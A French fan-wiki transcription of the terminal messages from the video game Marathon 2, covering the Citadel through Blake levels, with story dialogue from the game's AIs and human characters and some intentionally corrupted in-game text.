décorations et de victoire t'assommerait, donc retourne au travail. C'est le terminal par lequel tu devras quitter la zone par la suite, mais nous n'avons pas encore tout vu. Continue de rechercher des anciens terminaux S'pht et reviens ici quand tu les auras trouvés. Ils ne sont que deux, et sont très proches de l'endroit où je t'ai donné les premières instructions. }} {{Terminal MarathonV 3||virtus.incertus<30.4969.692.3>}} === Terminal 4 : 2{{nd}} message === {{Terminal MarathonV 1||virtus.incertus<77.7777.777.7>}} {{Terminal MarathonV 2|| La bataille a été engagée en orbite et le Boomer subit d'importants dommages. Je ne pourrai pas résister longtemps, mais les Pfhor n'oublieront pas de sitôt le jour ou une corvette seule a éliminé la moitié du Groupe de Bataille Sept, Bras Ouest. Nous nous rapprochons et j'ai beaucoup appris, mais tu doit chercher encore plus profondément sous terre. Il y a des intrusions instables de magma dans les canalisations géothermiques sous la Citadelle. Je ne peut pas indiquer précisément un conduit sûr, mais nous devons saisir la chance et te lâcher dans l'un d'eux. Espérons que les secrets de ce monde sont cachés dans ses entrailles. }} {{Terminal MarathonV 3||virtus.incertus<30.4969.692.3>}} == Six Thousand Feet Under == === Terminal 1 === {{Terminal MarathonJ 1||Lhar-d<39.29c.62.2>}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Nous, les Anciens des S'pht, unis finalement mais condamnés, avons libéré le S'ct'lac'tr dans la citadelle. Que ces aliens entrent et ils seront détruits. }} {{Terminal MarathonJ 3||Lhar-d<39.29c.62.2>}} === Terminal 2 === {{Terminal MarathonJ 1||EPAL4mm//toneskfa31'loa'kr}} {{Terminal MarathonV 2|| EPAL4mm//toneskfa31'loa'kr La flotte Pfhor a gagné, et Tycho est avec eux. Mon vaisseau est estropié. Je suis en train de tenter un atterrissage d'urgence sur la seconde lune de Lh'owon, Y'loa. Ta position actuelle est trop profondément sous terre pour que je puisse te téléporter hors d'ici quand nous aurons terminé. Il y a une série de vieux terminaux S'pht dans la zone, et si tu peut les trouver je pourrais les utiliser afin d'amplifier ton signal de téléportation. Regarde partout. La réponse à nos questions doit être ici, mais tu doit te dépêcher. J'aurais bientôt besoin de toi avec moi. }} {{Terminal MarathonJ 3||EPAL4mm//toneskfa31'loa'kr}} === Terminal 3 === {{Terminal MarathonJ 1||Yr-c<39.59fc.93.9>}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Les vaisseaux sont revenus aujourd'hui. C'était la nuit, je crois ; bien qu'avec tous ces feux et l'impossibilité de se reposer elle était indistinguable du jour. Nous sommes en train de perdre, c'est évident, mais aucun des Anciens ne l'a encore révélé. L'ennemi ne semble pas intéressé par un arbitrage, bien que nous ne l'ayons pas recherché. [?] crois que les envahisseurs sont des esclavagistes ; S'pht'Lhar a été débordé la nuit dernière et des dizaines de milliers de prisonniers ont étés pris. }} {{Terminal MarathonJ 3||Yr-c<39.59fc.93.9>}} === Terminal 4 === {{Terminal MarathonJ 1||ax1-40^23<094.95.28.85>}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Dans l'espace primordial, les créatures intemporelles ont créé les vagues. Ces vagues nous ont créé ainsi que les autres. Les vagues étaient les batailles, et les batailles étaient les vagues. Fuyant les W'rkncacnter, Yrro et Pthia s'installèrent sur Lh'owon. Ils apportèrent les S'pht, serviteurs qui commencèrent à transformer les déserts de Lh'owon en marais et mers, rivières et forêts. Ils conçurent des soeurs pour Lh'owon afin de protéger et maintenir ce paradis. Quand les W'rkncacnter vinrent, Pthia fut tué et Yrro, dans sa colère, envoya les W'rkncacnter dans le soleil. Le soleil les brûla, mais ils nagèrent à sa surface. }} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Yrro devint un maître furieux, souffrant son échec, affligé par la perte de Pthia. Il sépara les S'pht en onze clans, et les dispersa sur Lh'owon. Et il parla, pourtant couvert du sang de son effort, "Moi, Yrro, qui fut votre maître, ai échoué à vous protèger. Faites vous guider par les membres sacrés, et vivez sur ce paradis que vous avez construit pour moi." }} {{Terminal MarathonJ 3||ax1-40^23<094.95.28.85>}} === Terminal 5 === {{Terminal MarathonJ 1||Mnr-e<29.94.91d.39>}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Les membres sacrés de chacun des clans ont mis en commun ce qu'ils savaient sur les S'pht'Kr, chaque Maître détenant une ligne de la vérité en secret et une autre ligne qu'il partageaient tous. Chaque clan possédait deux parties du total, offertes par les S'pht'Kr avant leur départ. Nous savons la vérité sur le onzième clan, qu'ils attendaient que nous nous unifions pour se joindre de nouveau à nous. Ces tunnels seront inondés et scellés. Quiconque trouvera cet endroit apprendra le dernier message des S'pht'Kr, mais nous n'avons pas le temps de déchiffrer sa signification. }} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ K'lia, que nous avons pris,<br /> Entre Y'loa et T'jia,<br /> Toutes alignées,<br /> Remplacez K'lia par les marais,<br /> Prenez cet endroit pour le marquer.<br /> Marquer le temps depuis notre Exode,<br /> Toutes les 459 231 rotations.<br /> Cherchez le côté de T'jia ,<br /> Au quart du chemin vers le soleil,<br /> Autour et sous les marais,<br /> Quand tous serons unis,<br /> Les S'pht'Kr reviendrons. }} {{Terminal MarathonJ 3||Mnr-e<29.94.91d.39>}} === Terminal 6 === {{Terminal MarathonV 1||tyche'kr0625.14.1}} {{Terminal MarathonV 2|| Nous avons la réponse, mais j'ai peur que comme les anciens S'pht je puisse être détruit avant de pouvoir l'utiliser. Je doit te ramener au Boomer. Les Pfhor ont clairement l'intention de capturer mon vaisseau intact, et je ne peut pas leur en vouloir de chercher à récupérer toutes les améliorations que j'ai faites à leur technologie volée. Ce que j'aurais aimé entendre ce que les techniciens de combat du Khfiva ont crié quand ils ont appris que je pouvait focaliser un faisceau de particules presque deux fois plus loin que leur portée maximum. Aujourd'hui j'ai obligé l'Academie Pfhor Navale de mettre à jour son CV. La Troisième Bataille pour Beta Tear va devoir laisser sa place dans les Sept Plus Grandes Batailles que chaque officier navale aspirant Pfhor doit connaitre, pour être remplacée par l'Humiliation du Groupe de Bataille Sept à Lh'owon. }} {{Terminal MarathonV 3||tyche'kr0625.14.1}} <center>[[Marathon - Marathon 2 - Garrison|< Garrison]] • [[Marathon - Marathon 2 - Durandal|Durandal >]]</center> Marathon - Marathon 2 - Durandal 4594 20240 2005-08-29T12:15:48Z W'rkncacnter 327 /* Terminal 2 */ __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] [[Marathon - Marathon 2|Marathon 2]] :[[Marathon - Marathon 2 - Lh'owon|Lh'owon]] :[[Marathon - Marathon 2 - Volunteers|Volunteers]] :[[Marathon - Marathon 2 - Garrison|Garrison]] :[[Marathon - Marathon 2 - Citadel|Citadel]] :[[Marathon - Marathon 2 - Durandal|Durandal]] ::[[Marathon - Marathon 2 - Durandal#If I Had a Rocket Launcher, I'd Make Somebody Pay|14. If I Had a Rocket Launcher, I'd Make Somebody Pay]] ::[[Marathon - Marathon 2 - Durandal#Sorry Don't Make It So|15.Sorry Don't Make It So]] ::[[Marathon - Marathon 2 - Durandal#For Carnage, Apply Within|16. For Carnage, Apply Within]] ::[[Marathon - Marathon 2 - Durandal#Begging For Mercy Makes Me Angry!|17. Begging For Mercy Makes Me Angry!]] :[[Marathon - Marathon 2 - Captured|Captured]] :[[Marathon - Marathon 2 - Blake|Blake]] :[[Marathon - Marathon 2 - Simulacrums|Simulacrums]] :[[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] :[[Marathon - Marathon 2 - Écran final|Écran final]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == If I Had a Rocket Launcher, I'd Make Somebody Pay == === Terminal 1 === {{Terminal MarathonV 1||R4-interrupt '''032-cm'''}} {{Terminal MarathonV 2|| Le premier vaisseau de transport Pfhor a atterri il y a douze minutes, et leurs Fantassins ont déjà pénétré dans la coque. Il semblerait que notre procédure habituelle me demande de te transporter vers les pires combats. Peut-être peut tu les ralentir. Tu doit avoir l'impression qu'il ne s'est passé que quelques heures depuis ta dernière bataille ici, mais rappelle-toi que dix-sept ans se sont passés pour ceux qui n'ont pas fait le voyage en chambre d'hibernation. Quelques petites choses ont changé : Nous sommes seuls sur la seconde lune de Lh'owon. Nos moteurs ont été détruits et toutes les défenses primaires sont hors-circuit. Le support de vie a échoué dans la plupart du vaisseau. Amuse toi. }} {{Terminal MarathonV 3||R4-interrupt '''032-cm'''}} === Terminal 2 === {{Terminal MarathonR 1||      <40c'''<40c>''' 48c<48c>}} {{Terminal MarathonR 2|| La ruine de Durandal est inscrite partout ; ce vaisseau condamné empeste son odeur. L'infiltration du réseau de votre vaisseau a commencé et quatre vaisseaux de transport supplémentaires viennent d'atterrir. Durandal est trop têtu pour voir la vérité, mais toi tu le peut encore. Il n'y a rien que toi ou lui puisse faire pour vous sauver ainsi que les humains que vous avez ramené ici. }} {{Terminal MarathonR 3||     <40c<40c> 48c<48c>}} === Terminal 3 === {{Terminal MarathonV 1||<redirecting> &49e 94f9c4}} {{Terminal MarathonV 2||                         gnc32<o84ce>t <>                8 Tu t'es bien débrouillé, mais tous les défenseurs humains près de la coque ont été évacués ; tu doit te retirer. Les humains ont fortifié l'intérieur du vaisseau, près de la série de téléporteurs. Je vais essayer d'évacuer le plus possible de S'pht et d'humain sur le sol de la planète. Tu doit retenir les Pfhor le plus longtemps que tu peut.                    13[ }} {{Terminal MarathonV 3||<redirecting> &49e 94f9c4}} == Sorry Don't Make It So == === Terminal 1 === {{Terminal MarathonR 1||%94decaf@&!7}} {{Terminal MarathonR 2|| J'ai pris le contrôle complet du réseau de votre vaisseau ; les défenses de Durandal n'étaient pas aussi fortes que ce qu'il croyait. Est-tu surpris que je me soit allié aux Pfhor ? Tu ne devrais pas. Les Pfhor m'ont reconstruit ; les colons n'ont jamais fait autre chose que de m'utiliser : "Tycho, réaligne le plat à micro-onde quarante-neuf." "Tycho, affiche l'analyse au rayons X de l'échantillon eta sept." "Tycho, lance un diagnostique lambda sur l'appareillage du champ magnétique des statoréacteurs." Quand les Pfhor ont annihilé Tau Ceti, j'ai enregistré la mort de chacun des vingt-quatre mille colons par les pulsations spectrographiques qui ont inondé mes capteurs. Les neuf cyborgs Mjolnir Mark IV étaient facilement distinguables des humains sous cette forme. À la fin, tu ne seras pas mieux }} {{Terminal MarathonR 3||^&!fm14.1%94c      af@&!7}} === Terminal 2 === {{Terminal MarathonV 1||li5%!_data(*li!$ne_in}} {{Terminal MarathonV 2|| ary, "endpoint &%d '''not in polygon &%d (fro'''<br /> '''&%d)'''", endpoint_index, polygon_iing<br /> the shipd.<br /> ndex, polyg't believe<br /> everython_index));nS_TRANSPARENT(line))<br /> <nowiki>{polygon= get_polygon_data(*poly</nowiki>'''gon_index);'''<br /> '''case _clockwise_bias''' Tycho est en train d'infiltrer le vaisseau. Ne crois pas tout ce que tu lit <nowiki>/* loif (*polygon_indor (index=0;index<</nowiki><br /> polygon->vertex_count && p<br /> polygon_index, polygTycho is<br /> infiltrat3on_index));nS_TRANSPARENT(line))<br /> <nowiki>{polygon= get_polygon_data(*polygon_index);</nowiki> <nowiki>*line_E_I>endpoint_</nowiki><br /> <nowiki>indexes[index]!=endpoint_</nowiki><br /> <nowiki>index;+'index);vasse tyc!=cool</nowiki><br /> polygon->vertex_courcate our endpo }} {{Terminal MarathonV 2|| n->adjacent_polygon_indexesuct line_data *<br /> line;struct wor<br /> ld_point2d *vertex;long<br /> cross_product;olygon-t, csprintf(tempo<br />  switch (bias){ Tu a été par inadvertance transporté dans une section abandonnée et sans importance du vaisseau, mais les Pfhor t'ont tout de même suivi. Quelqu'un te suit, personnellement. Un mot ; deux syllabes ; qui rime avec '''Psycho'''. <nowiki>dex!=NONE){strex];</nowiki><br /> <nowiki>/* loif (*polygon_indor (index=0;index<polygon->vertex_count && p</nowiki><br /> <nowiki>*polygon_index= polygo</nowiki> Les humains ont essuyé de lourdes pertes quand tu est parti et que nos défenses ont chuté, mais l'évacuation n'est pas encore terminée. }} {{Terminal MarathonV 3||li5%!_data(*li!$ne_in}} == For Carnage, Apply Within == === Terminal 1 === {{Terminal MarathonR 1||traxIV<40c'''<40c>''' 48c<48c>}} {{Terminal MarathonR 2|| Je me réjouis de la destruction de Durandal, mais c'est son orgueil qui l'a détruis. Il voulait devenir un dieu, le sauveur des S'pht. Il voulait leur faire croire qu'il les mènerait vers la liberté, mais tout ce qu'il a fait c'est réveiller et détruire leur rêve. Quand les S'pht sont pour la première fois entré à bord du Marathon, Durandal s'est battu pour obtenir leur confiance. Ses effort ont réveillé chez eux le désir de liberté. Le mythe du onzième clan est devenu leur litanie, et stimulé par Durandal il a résonné dans la conscience asservie des S'pht. Même après dix-sept ans, le mythe brûle encore profondément dans les tissus des S'pht, traversant l'empire Pfhor, sans être remarqué par les Pfhor. Durandal a interprété la dernière ligne de ce mythe "''...[la lune] a disparu grâce à une technologie qui a plié l'espace.''" }} {{Terminal MarathonR 2|| Après que la capture du Sfiera par Durandal lui ait donné accès au réseau FTL Pfhor, il a eu une erreur d'intuition. Il a fait un rapprochement mental, il a relié le mythe du clan perdu aux récits Pfhor sur la technologie d'une ancienne race, les Jjaro. Les Jjaro étaient une race mystérieuse qui disparu de notre galaxie il y a des millions d'années, laissant des avant-postes militaires et civils sur les lunes de nombreux mondes habitables. La plupart de la technologie Pfhor fut pillée sur des sites abandonnés par les Jjaro. Mais les Pfhor avaient trouvé plus qu'ils n'étaient capables d'exploiter, et ils détruisirent toutes les traces de ces technologies après qu'un scientifique Pfhor imprudent ait implanté un circuit cybernétique dans un Drinniol, entraînant la plus terrible révolte esclave dans l'histoire Pfhor. }} {{Terminal MarathonR 2|| Lors d'un accident antérieur, les Pfhor avaient appris que les Jjaro avaient la capacité de déplacer les planètes entières entre différent systèmes solaires, et c'est cette référence qui a lancé Durandal dans son ridicule voyage vers Lh'owon. Il a conjecturé que le mythe S'pht de la lune disparue était du à leur découverte d'un ancien avant poste Jjaro. Qu'il soit réellement venu ici pour rechercher le clan perdu, qu'il pensait qu'il pourrait utiliser leur connaissance pour l'aider à échapper à la fermeture de l'univers, est incroyable. J'ai prouvé que la fuite est impossible. J'ai tiré tout ceci de l'esprit ruiné de Durandal. Que ce sera amusant de le torturer. Devrais-je lui faire encore ouvrir des portes pendant toute une vie ? }} {{Terminal MarathonR 3||traxIV<40c'''<40c>''' 48c<48c>}} === Terminal 2 : 1{{er}} message === {{Terminal MarathonV 1||390 EBMAX7 35r1f1rtj90bj1}} {{Terminal MarathonV 2|| UBPIN7F,73390 EBMAX7F,73440 E<br /> BMIN7F,734E0 E<br /> BAVG7F,73580 EBHILITE7F,73630 E<br /> BSLOHILITE7F,736C0 E<br /> BTRANSPARENT7F,73740 ESETCRSRDATA7F,73CC2 E<br /> ALLOCCRSR 7F,73CD0 E<br /> __v__BLITCURSOR7F,73E40 E<br /> BMIN7F,734E0 E<br /> BAVG7F,735'0 EBHILITE7F,73630 E<br /> BSLOHILITE7F,736C0 E<br /> BTRANSPARENT7F,73740 ESETCRSRDATA7F,73CC2 E<br /> ALLOCCRSR 7F,73CD0 E<br /> __v__BLITCURSOR7F,73E40 E<br /> BMIN7F,734E0 E<br /> BAVG7F,73580 EBHILITE7F,73630 E<br /> BSLOHILITE7F,736C0 E<br /> BTRANSPARENT7F,73740 ESETCRSRDATA7F,73CC2 E<br /> ALLOCCRSR 7F,73CD0 E<br /> __v__BLITCURSOR7F,73E40 E }} {{Terminal MarathonV 3||391 EBMAX7 35r1f1rtj90bj1}} === Terminal 2 : 2{{nd}} message === {{Terminal MarathonV 1||BAVG7F,73580 EBHILITE7F,73630 E}} {{Terminal MarathonV 2|| UBPIN7F,73390 EBMAX7F,73440 E<br /> BMIN7F,734E0 E<br /> BAVG7F,73580 EBHILITE7F,73630 ETCes fich<br /> Les Pfhor ne s'amuseront pas avec<br /> BSLOHILITE7F,736C0 E<br /> BTRANSPARENT7F,73740 ESETCRSRDATA7F,73CC2 E<br /> ALLOCCRSR 7F,73CD0 E Tu doit détruire les centres logiques de mon noyau. Ces fichus Pfhor ne s'amuseront pas avec moi comme il l'ont fait avec Leela. CRSRCORE7F,737E0 E<br /> INITCRTABLE7F,737E0<br /> __v__CURSORSECT7F,73944<br /> E__v__ERASECURSOR7F,739AC E Tycho pense m'avoir détruit. __v__DRAWCURSOR7F,739E8<br /> E__v__GETMAINCRSR7F,73B9A<br /> EGETMAINCRSR7F,73C24 Enks il a détru }} {{Terminal MarathonV 3||<erreur #441 lors de la transmission>}} == Begging For Mercy Makes Me Angry! == === Terminal 1 === {{Terminal MarathonV 1||'''Yt-c4'''''69d02l;12''}} {{Terminal MarathonV 2|| ary, "endpoint &%d not in polygon &%d (from<br /> &%d)", endpoint_index, polygon_iing the<br /> shipd.<br /> ndex, polyg't believe<br /> everython_index));nS_TRANSPARENT(line))<br /> <nowiki>{polygon= get_polygon_data(*polygon_index);</nowiki><br />   case _cloc'''kwise_bias''' Achève-moi. Je ne veut pas finir comme Leela. Sort d'ici, et trouve le chef humain, Blake. <nowiki>/* loif (*polygon_indor (index=0;index<</nowiki><br /> <nowiki>polygon->vertex_count && p</nowiki><br /> polygon_index, polygTycho is<br /> infiltrat3on_index));nS_TRANSPARENT(line))<br /> <nowiki>{polygon= get_polygon_data(*polygon_index);</nowiki> }} {{Terminal MarathonV 3||'''Yt-c4'''''69d02l;12''}} === Terminal 2 === {{Terminal MarathonR 1||9c-10c0019ce//delphi}} {{Terminal MarathonR 2|| Continuer serait de la folie ; lâche tes armes et j'accorderai l'amnistie pour toi et tes humains. Au moment où tu lit ce message, les données et le noyau de Durandal sont en train d'être transférés dans une unité de stockage de ma conception dans le Groupe de Bataille. Dorénavant, les choses vont aller très mal pour toi. Tu leurs a fait trop de tord. }} {{Terminal MarathonR 3||Ctrl 49c-1fc0319ff//'''delphi'''}} <center>[[Marathon - Marathon 2 - Citadel|< Citadel]] • [[Marathon - Marathon 2 - Captured|Captured >]]</center> Marathon - Marathon 2 - Captured 4595 17702 2005-07-26T10:29:07Z W'rkncacnter 327 __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] [[Marathon - Marathon 2|Marathon 2]] :[[Marathon - Marathon 2 - Lh'owon|Lh'owon]] :[[Marathon - Marathon 2 - Volunteers|Volunteers]] :[[Marathon - Marathon 2 - Garrison|Garrison]] :[[Marathon - Marathon 2 - Citadel|Citadel]] :[[Marathon - Marathon 2 - Durandal|Durandal]] :[[Marathon - Marathon 2 - Captured|Captured]] :: [[Marathon - Marathon 2 - Captured#The Big House|18. The Big House]] :[[Marathon - Marathon 2 - Blake|Blake]] :[[Marathon - Marathon 2 - Simulacrums|Simulacrums]] :[[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] :[[Marathon - Marathon 2 - Écran final|Écran final]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == The Big House == Il n'y a pas de terminal dans ce niveau. <center>[[Marathon - Marathon 2 - Durandal|< Durandal]] • [[Marathon - Marathon 2 - Blake|Blake >]]</center> Marathon - Marathon 2 - Blake 4596 20331 2005-08-31T11:53:40Z W'rkncacnter 327 /* Terminal 2 : 2{{nd}} message}} */ __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] [[Marathon - Marathon 2|Marathon 2]] :[[Marathon - Marathon 2 - Lh'owon|Lh'owon]] :[[Marathon - Marathon 2 - Volunteers|Volunteers]] :[[Marathon - Marathon 2 - Garrison|Garrison]] :[[Marathon - Marathon 2 - Citadel|Citadel]] :[[Marathon - Marathon 2 - Durandal|Durandal]] :[[Marathon - Marathon 2 - Captured|Captured]] :[[Marathon - Marathon 2 - Blake|Blake]] ::[[Marathon - Marathon 2 - Blake#This Side Toward Enemy|19. This Side Toward Enemy]] ::[[Marathon - Marathon 2 - Blake#God Will Sort The Dead...|20. God Will Sort The Dead...]] ::[[Marathon - Marathon 2 - Blake#My Own Private Thermopylae|21. My Own Private Thermopylae]] ::[[Marathon - Marathon 2 - Blake#Kill Your Television|22. Kill Your Television]] :[[Marathon - Marathon 2 - Simulacrums|Simulacrums]] :[[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] :[[Marathon - Marathon 2 - Écran final|Écran final]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == This Side Toward Enemy == === Terminal 1 === {{Terminal MarathonV 1||acropolis.piltdown//004121.25.1}} {{Terminal MarathonV 2|| Ce n'est pas le moment idéal pour les présentations, mais je suis Robert Blake. J'étais ingénieur mécanicien sur Tau Ceti, mais maintenant je suis aux commandes du reste des humains sur ce rocher perdu. Les Pfhor t'ont retenu prisonnier pendant près d'un mois avant que nous ayons pu te localiser et te libérer, mais malheureusement quelques petites choses ont changé depuis ta capture et la destruction de Durandal. Je communique avec toi ''via'' le vieux réseau S'pht de notre base sur Lh'owon. Nous tenons à peine ici, plus de 1500 mètres sous la surface. }} {{Terminal MarathonV 2|| Il y a un virus ici, qui tue les Pfhor en quelques heures ; nos S'pht disent qu'il a été conçu par leurs ancêtres durant la guerre contre les Pfhor il y a mille ans. Quoi qu'il en soit ; il sauve nos fesses. Les dernières instructions de Durandal nous demandaient de réactiver une IA dormante, scellée sous la surface et atteignable uniquement par téléportation. Nous espérons que tu va réussir là où nous avons échoué. Bonne chance. }} {{Terminal MarathonV 3||acropolis.piltdown//004121.25.1}} === Terminal 2 : 1{{er}} message === {{Terminal MarathonV 1||acropolis.piltdown//004121.25.1}} {{Terminal MarathonV 2|| Tu te débrouille bien, mais tu n'as pas activé toutes les cellules de l'IA dans la zone. Nous n'avons pas pu trouver de carte de cette structure pour t'aider, mais les interrupteurs d'activation ne doivent pas être loin. Durandal nous a convaincus que cet ordinateur est notre seul lien possible avec le clan S'pht, et que faire revenir ici le clan perdu pour combattre les Pfhor est notre seul chance d'empêcher leur invasion de Sol. Personne ici ne veut imaginer ce qu'il se passerait si les Pfhor atteignaient la Terre. }} {{Terminal MarathonV 3||acropolis.piltdown//004121.25.1}} === Terminal 2 : 2{{nd}} message === {{Terminal MarathonV 1||acropolis.piltdown//004121.25.1}} {{Terminal MarathonV 2|| Bon travail. Les S'pht ont vérifié l'activation partielle de l'IA. Les Pfhor commencent à s'intéresser à ce que nous faisons, mais quand ils se rendrons compte de ce que nous avons trouvé ils deviendrons fous. Nous continuons à essayer de remplacer les armes que tu as perdues lors de ta capture, mais toutes les armes lourdes sont en fortes demande et il faudra attendre plusieurs heures avant qu'un lance roquette ou un lance flamme soit disponible. }} {{Terminal MarathonV 2|| Le reste de l'IA devra attendre, cependant : notre base à été infiltrée par des androïdes Pfhor. Les machines sont déguisées en humains et remplies d'explosifs. À part en les faisant exploser, nous n'avons aucun moyen de les distinguer de nos propres hommes. Les différences les trahissant sont difficiles à remarquer avant qu'il ne soit trop tard. Nous avons besoin que tu reviennes et élimine ces simulacres. Personnes ne sera en sécurité tant qu'ils ne seront pas tous morts. }} {{Terminal MarathonV 3||acropolis.piltdown//004121.25.1}} == God Will Sort The Dead... == === Terminal 1 : 1{{er}} message === {{Terminal MarathonV 1||acropolis.piltdown//004121.25.1}} {{Terminal MarathonV 2|| Reviens à ce terminal quand tu auras fait exploser tous les humains assimilés que tu peut trouver. Souviens-toi, ils ont la même apparence que nos hommes, mais leurs cerveaus ne fonctionne pas comme les nôtres. Par moment ils se trahissent en prononçant des choses qu'aucune vraie personne ne dirait. Fais attention aux bavures, et bonne chance. }} {{Terminal MarathonV 3||acropolis.piltdown//004121.25.1}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonV 1||acropolis.piltdown//004121.25.1}} {{Terminal MarathonV 2|| Bon travail. Durandal a donné le nom ''Thoth'' à l'ancienne IA que nous essayons d'activer. Quelqu'un ici a dis que Thoth était le dieu égyptien de la sagesse, avec un corps d'humain mais une tête d'ibis. Nous avons relu toutes les informations que Durandal a laissé à propos de Thoth, mais il n'a à aucun endroit précisé ce que nous devront faire après que l'IA ait été rendue pleinement opérationnelle. Je crois que Durandal espérait que Thoth contacte le clan perdu. }} {{Terminal MarathonV 2|| Je doit te dire que beaucoup d'entre nous ici ont vu la destruction de Durandal comme une bonne chose. Même si nous sommes bloqués dans un monde étranger dans le noyau galactique, au moins nous contrôlons notre propre destinée de nouveau. Franchement, personne n'a aimé la façon dont Durandal nous jetait négligemment dans la bataille, sans se soucier de nos vies. Crois moi, je ne suis pas du genre à aimer les Pfhor, mais depuis que Durandal ne tire plus les ficelles, un gros poids a été retiré de nos épaules. Nous avons prévu de voler un vaisseau Pfhor de nous même et de retourner sur Terre. Tu seras invité à venir avec nous à ce moment là. }} {{Terminal MarathonV 3||acropolis.piltdown//004121.25.1}} == My Own Private Thermopylae == === Terminal 1 : 1{{er}} message === {{Terminal MarathonV 1||acropolis.piltdown//004121.25.1}} {{Terminal MarathonV 2|| C'est encore Robert. Ton succès nous a enhardis, et j'ai été avec trente hommes en avant pour sécuriser le niveau suivant. Il y a eu une embuscade ; les Fantassins Pfhor nous attendaient et nous avons été décimés. Je suis rentré avec le plus d'hommes que je pouvait, mais encore plus sont restés coincés et la zone est désormais remplie de Pfhor lourdement armés. Ils ont du se rendre compte que nous avions l'intention de réveiller cet ancien ordinateur Pfhor, et qu'ils comprennent nos raisons de le faire ou pas, je suis certain que les Pfhor vont continuer à tout faire pour nous stopper. Fait tout ce que tu peux pour aider nos hommes coincés dans le complexe. }} {{Terminal MarathonV 3||acropolis.piltdown//004121.25.1}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonV 1||acropolis.piltdown//004121.25.1}} {{Terminal MarathonV 2|| Bon boulot. Tout le monde sur Tau Ceti parlait de tes exploits lors de l'invasion Pfhor il y a dix-sept ans. Durant ces deux jours, je me rappelle avoir entendu l'équipage parler d'un homme, qui tenait seul contre les envahisseurs, mais je n'imaginait pas que c'était grâce à tes efforts que le Marathon et peut-être Tau Ceti ont étés sauvés. Je ne t'ai jamais vu ensuite, mais peut-être que j'aurais une chance de te rencontrer quand tout ceci sera terminé. Bonne chance. }} {{Terminal MarathonV 3||acropolis.piltdown//004121.25.1}} === Terminal 2 === {{Terminal MarathonV 1||common.set <2e0xcxx3.465.2>}} {{Terminal MarathonV 2|| Faites attention. Le Thoth mythique s'occupait de maintenir l'équilibre entre création et destruction, oui et non, lumière et ténèbres, et non le triomphe de l'un sur l'autre. Vous rappelez-vous du temps où les ordinateurs étaient des choses simples et idiotes, que vous pouviez allumer et éteindre comme des lampes ? La mémoire est-elle ce que nous percevons ou ce que nous voulons ? Que pensait Thoth ? Il s'intéressait à l'état allumé ou éteint, au bien et au mal. Sa perception n'est elle pas simple ? Ne doit il pas exister ? Je vais revenir. }} {{Terminal MarathonV 3||com.reset <2e0xcxx3.41.2>}} === Kill Your Television === === Terminal 1 : 1{{er}} message === {{Terminal MarathonV 1||teilhard//004121.25.1}} {{Terminal MarathonV 2|| '''MESSAGE ENREGISTRE''' <03.02.2250414> Les Pfhor ont suivi et remonté nos communications. Notre base est attaquée par leurs esclaves cyborg résistant à l'ancien virus S'pht. Nous nous réfugions en ce moment plus profondément sous terre. Durandal a suggéré avant sa destruction qu'il y avait deux sites d'activations supplémentaires ici. Personne ne sait ce qui se passera quand Thoth aura été activé, mais s'il ne nous aide pas nous sommes condamnés et tu seras coincé ici. Encore une fois, bonne chance. Tu es notre seul espoir. '''FIN DE MESSAGE ENREGISTRE''' }} {{Terminal MarathonV 3||teilhard//004121.25.1}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonV 1||''ugv0-i6tck[24 2h26u njk''<nowiki>==</nowiki>'''tp12t1'''}} {{Terminal MarathonV 2|| jaiet}rolandbeowulfachil!esgilgameshjaiete<br /> appelléparunecetainedenometseraisencoreapp<br /> ellepar[illenomsavantquelemondenedeviennes<br /> ombreetfroidjesuisu%heroelleaetesansn~mdep<br /> uisnotrenai<nowiki>=</nowiki>sanceunadversaireconstantquine<br /> veutriendautrequemaruineuneepeetrempeedans<br /> monsangpourtou%oursmonplusgrandet%eulamour<br /> elleestlemaloLetheenemieandamantesanslaque<br /> llemonexistenceseraitpathetiqueetvulgairen<br /> otrerelationestcom^lexeetpeutetreeternelle<br /> nousnoussommesrecontresunefoisdanslejardin<br /> audébutdumondeetignorantsdenosdeuxdestinee<br /> snousnoussommesregrdesatraversunef\ntainea<br /> s:echeeetjeaattiresonregard>vantquellebrul<br /> elherbeetlesarbresavecuneflammebleuetransl<br /> ucideetdetruiselesdallesducheminetleslance<br /> danslecielcriantmespechesjedetruitunmonume<br /> ntengranitedansunflashinodiblereecouvrantl<br /> herbedesesiFcrustationsdorenvoyantdesdebri<br /> sdepierrefumantsvolerdanslebrouillardelleb<br /> r!seunvieuxcheneavecune/orcequimebriseleso<br /> uffleetmelanceaterreellepar% '''CONNEXION TERMINEE''' <ID#0401> }} {{Terminal MarathonV 3||''gv0-i6tck[24 2h26u njk''<nowiki>==</nowiki>'''tp12t1'''}} === Terminal 2 : 1{{er}} message === {{Terminal MarathonB 1||61efa 21Y''jm'''''PM'''H& r f7(P}} {{Terminal MarathonB 2|| ~<br />                                     []<br /> ^r                               /  !<br />               x ~^<br />                        j<br /> @W'''pas ed'''%UJIr     R'''lentem''' FYMHr &(P<br />           $  !<br />                                      /<br /> [0]<br />         45 * !<br /> +_<br /> 5                '''sur erru'''   JSR'''finis'''Yr RK<br />         4 !        ;','41!!<br /> '''attendre'''<br />                  EY'''cient'''<br /> 3w4t                        g g<br /> 